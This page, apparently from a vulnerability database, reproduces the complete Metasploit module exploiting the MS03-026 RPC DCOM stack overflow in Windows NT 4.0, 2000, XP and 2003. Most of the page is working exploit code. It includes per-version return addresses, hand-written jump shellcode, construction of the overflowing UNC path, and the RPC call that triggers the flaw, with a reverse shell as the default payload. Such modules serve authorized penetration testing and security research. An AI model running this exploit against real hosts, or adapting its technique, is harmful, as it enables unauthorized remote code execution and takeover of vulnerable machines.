Lucene search
K

MS03-026 Microsoft RPC DCOM Interface Overflow

🗓️ 17 Sep 2006 08:00:37Reported by hdm <[email protected]>, spoonm <spoonm@no$email.com>, cazz <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 77 Views

MS03-026 Microsoft RPC DCOM Interface Overflow. Stack buffer overflow in RPCSS service. Exploits English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 in one request

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::DCERPC

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS03-026 Microsoft RPC DCOM Interface Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
          was originally found by the Last Stage of Delirium research group and has been
          widely exploited ever since. This module can exploit the English versions of
          Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
        },
        'Author' => [ 'hdm', 'spoonm', 'cazz' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2003-0352' ],
          [ 'OSVDB', '2100' ],
          [ 'MSB', 'MS03-026' ],
          [ 'BID', '8205' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
        'Payload' => {
          'Space' => 880,
          'MinNops' => 300,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500
        },
        'Platform' => %w[win],
        'Targets' => [
          # Target 0: Universal
          [
            'Windows NT SP3-6a/2000/XP/2003 Universal',
            {
              'Platform' => 'win',
              'Rets' =>
                [
                  0x77f33723, # Windows NT 4.0 SP6a (esp)
                  0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0
                  0x010016c6, # Windows 2000 Universal (ebx)
                  0x01001c59, # Windows XP SP0/SP1 (pop pop ret)
                  0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)
                  0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll
                  0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll
                ]
            },
          ],
        ],
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2003-07-16'
      )
    )
  end

  # don't bother with this module for autoexploitation, it creates
  # false-positives on newer systems.
  def autofilter
    false
  end

  def check
    begin
      connect
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      return CheckCode::Safe("SMB error: #{e.message}")
    end

    handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])

    begin
      dcerpc_bind(handle)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      return CheckCode::Safe("SMB error: #{e.message}")
    end

    CheckCode::Detected
  end

  def exploit
    connect
    print_status("Trying target #{target.name}...")

    handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])

    print_status("Binding to #{handle} ...")

    begin
      dcerpc_bind(handle)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
    end

    # Carefully create the combination of addresses and code for cross-os exploitation
    xpseh = rand_text_alphanumeric(360, payload_badchars)

    # Jump to [esp-4] - (distance to shellcode)
    jmpsc =
      "\x8b\x44\x24\xfc" +           # mov eax,[esp-0x4]
      "\x05\xe0\xfa\xff\xff" +       # add eax,0xfffffae0 (sub eax, 1312)
      Rex::Arch::X86.jmp_reg('eax')  # jmp eax

    # Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
    jmpsc2k3 =
      "\x8b\x45\x30" +               # mov eax,[ebp+0x30]
      "\x05\x24\xfb\xff\xff" +       # add eax,0xfffffb24 (sub 1244)
      Rex::Arch::X86.jmp_reg('eax')  # jmp eax

    # Windows 2003 added by spoonm
    xpseh[246 - jmpsc2k3.length, jmpsc2k3.length] = jmpsc2k3
    xpseh[246, 2] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")
    xpseh[250, 4] = [ target['Rets'][4] ].pack('V')

    xpseh[306, 2] = Rex::Arch::X86.jmp_short('$+8')
    xpseh[310, 4] = [ target['Rets'][3] ].pack('V')
    xpseh[314, jmpsc.length] = jmpsc

    #
    # NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
    # NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
    # HD wrote NT 4.0 SP6a, and it's off in a different place
    #
    # Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
    # (hopefully I'm accurate, this is from my memory...)
    #
    # |---pop pop ret--------        --eax---|
    # V                     |        |       V
    # [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
    #     4             4           4              5               5
    #     |                                                 ^
    #     --------------------------------------------------|
    # The jmpback's all are 5 byte backwards jumps into our shellcode that
    # sits just below these overwrites...
    #

    nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +
                rand_text(2, payload_badchars)

    nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
    nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
    ntshiz =
      nt4sp3jmp +
      [ target['Rets'][6] ].pack('V') +
      [ target['Rets'][5] ].pack('V') +
      nt4sp5jmpback +
      nt4sp3jmpback

    # Pad to the magic value of 118 bytes
    ntshiz += rand_text(118 - ntshiz.length, payload_badchars)

    # Create the evil UNC path used in the overflow
    uncpath =
      Rex::Text.to_unicode('\\\\') +
      make_nops(32) +

      # When attacking NT 4.0, jump over 2000/XP return
      Rex::Arch::X86.jmp_short(16) +
      Rex::Arch::X86.jmp_short(25) +
      [ target['Rets'][2] ].pack('V') +   # Return address for 2000 (ebx)
      [ target['Rets'][0] ].pack('V') +   # Return address for NT 4.0 SP6 (esi)
      [ target['Rets'][1] ].pack('V') +   # Writable address on 2000 and jmp for NT 4.0
      make_nops(88) +
      Rex::Arch::X86.jmp_short(4) +
      rand_text(4, payload_badchars) +
      make_nops(8) +
      Rex::Arch::X86.jmp_short(4) +
      Rex::Arch::X86.jmp_short(4) +
      make_nops(4) +
      Rex::Arch::X86.jmp_short(4) +
      rand_text(4, payload_badchars) +
      payload.encoded +
      ntshiz +
      xpseh +
      Rex::Text.to_unicode("\\\x00")

    # This is the rpc cruft needed to trigger the vuln API
    stubdata =
      NDR.short(5) +
      NDR.short(1) +
      NDR.long(0) +
      NDR.long(0) +
      rand_text(16) +
      NDR.long(0) +
      NDR.long(0) +
      NDR.long(0) +
      NDR.long(0) +
      NDR.long(0) +
      NDR.long(rand(0xFFFFFFFF)) +
      NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
      NDR.long(0) +
      NDR.long(rand(0xFFFFFFFF)) +
      NDR.long(rand(0xFFFFFFFF)) +
      NDR.long(1) +
      NDR.long(rand(0xFFFFFFFF)) +
      NDR.long(1) +
      NDR.long(rand(0xFFFFFFFF)) +
      NDR.long(rand(0xFFFFFFFF)) +
      NDR.long(rand(0xFFFFFFFF)) +
      NDR.long(rand(0xFFFFFFFF)) +
      NDR.long(1) +
      NDR.long(1) +
      NDR.long(rand(0xFFFFFFFF))

    print_status("Calling DCOM RPC with payload (#{stubdata.length} bytes) ...")

    begin
      dcerpc_call(0, stubdata, nil, false)
    rescue StandardError => e
      raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
    end

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Nov 2021 08:25Current
7.4High risk
Vulners AI Score7.4
CVSS 27.5
EPSS0.98626
77